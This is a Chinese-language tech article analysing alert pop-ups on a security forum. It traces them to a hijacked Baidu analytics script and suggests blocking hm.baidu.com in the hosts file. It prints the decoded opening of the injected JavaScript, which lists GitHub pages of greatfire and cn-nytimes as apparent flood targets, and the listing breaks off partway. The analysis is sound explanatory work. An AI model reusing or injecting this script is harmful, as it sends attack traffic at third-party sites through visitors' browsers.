您现在的位置: 万盛学电脑网 >> 电脑基础 >> 电脑基本常识 >> 正文

一招解决WARNING: malicious javascript detected on this domain

作者:佚名    责任编辑:admin    更新时间:2022-06-22

 一招解决WARNING: malicious javascript detected on this domain 三联

  临时解决方法:

  修改hosts,添加""127.0.0.1 hm.baidu.com" 。

  详细原因分析:今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗:

  malicious javascript detected on this domain

enter image description here

  我第一反应就是不知道哪个调皮的基友又把zone给XSS了,马上打开开发者工具分析。

  0x01 细节

  之后立刻发现弹窗的js居然是从github加载的:

enter image description here

  可是为什么乌云会从github加载js呢,并且还是从greatfire和纽约时报镜像加载。

  第一反应是页面有xss或者js被劫持了,找了半天终于找到了,居然是

  hm.baidu.com/h.js

  这个js的确被乌云加载了没错,这是百度统计的js代码,打开后里面是一个简单加密后的js,eval了一串编码后的内容,随便找了个在线解密看了下,发现如下内容:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>x3c/script>");

!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() {

var a = new Date;

return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3

}

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;